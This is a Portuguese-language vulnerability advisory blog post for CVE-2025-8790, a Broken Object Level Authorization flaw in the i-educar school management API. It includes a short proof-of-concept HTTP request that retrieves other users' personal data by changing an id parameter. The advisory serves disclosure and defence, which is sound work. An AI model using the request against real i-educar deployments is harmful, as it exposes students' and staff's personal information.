Featured image of post CVE-2025-8790

CVE-2025-8790

Controle de Acesso Quebrado

CVE-2025-8790: Broken Object Level Authorization (BOLA) permite acesso não autorizado a dados de outros usuários

CVE Publication: https://www.cve.org/CVERecord?id=CVE-2025-8790

Resumo

Uma vulnerabilidade de Broken Object Level Authorization (BOLA) foi identificada na API do i-educar 2.8 e 2.9, permitindo que qualquer usuário autenticado com privilégios baixos acesse informações confidenciais de outros usuários manipulando o parâmetro id no endpoint de recurso pessoa.

Detalhes

O endpoint /module/Api/pessoa não possui verificações de autorização adequadas para garantir que o usuário autenticado só consiga acessar seus próprios dados.

Ao alterar o parâmetro id na solicitação a seguir, qualquer usuário autenticado pode recuperar informações sobre outros usuários:

GET /module/Api/pessoa?&oper=get&resource=pessoa&id=1 HTTP/1.1

PoC

  • 1. Autentique-se como um usuário sem privilégios (por exemplo, aluno, professor).

  • 2. Envie a seguinte solicitação direcionada ao usuário id=1:

1
2
GET /module/Api/pessoa?&oper=get&resource=pessoa&id=1 HTTP/1.1
Cookie: i_educar_session=VALID_SESSION_COOKIE }

  • 3. Observe que os dados do usuário para id=1 são retornados, mesmo que o usuário logado não esteja autorizado a acessar esse perfil:

Impacto

Esta vulnerabilidade é um problema de Broken Object Level Authorization (BOLA) (OWASP API Top 10 - 2023, A01), permitindo a exposição de dados confidenciais. Qualquer usuário autenticado pode acessar informações pessoais de outros usuários. Isso pode levar a:

  • Acesso não autorizado a PII confidenciais;
  • Violação das leis de proteção de dados (por exemplo, LGPD, GDPR);
  • Possível abuso de dados do usuário ou personificação;
  • Enumeração de usuários.

Referência

https://github.com/CVE-Hunters/CVE/blob/main/i-educar/CVE-2025-8790.md

Encontrado por:

Natan Maia Morette

Por: CVE-Hunters

Built with Hugo
Theme Stack designed by Jimmy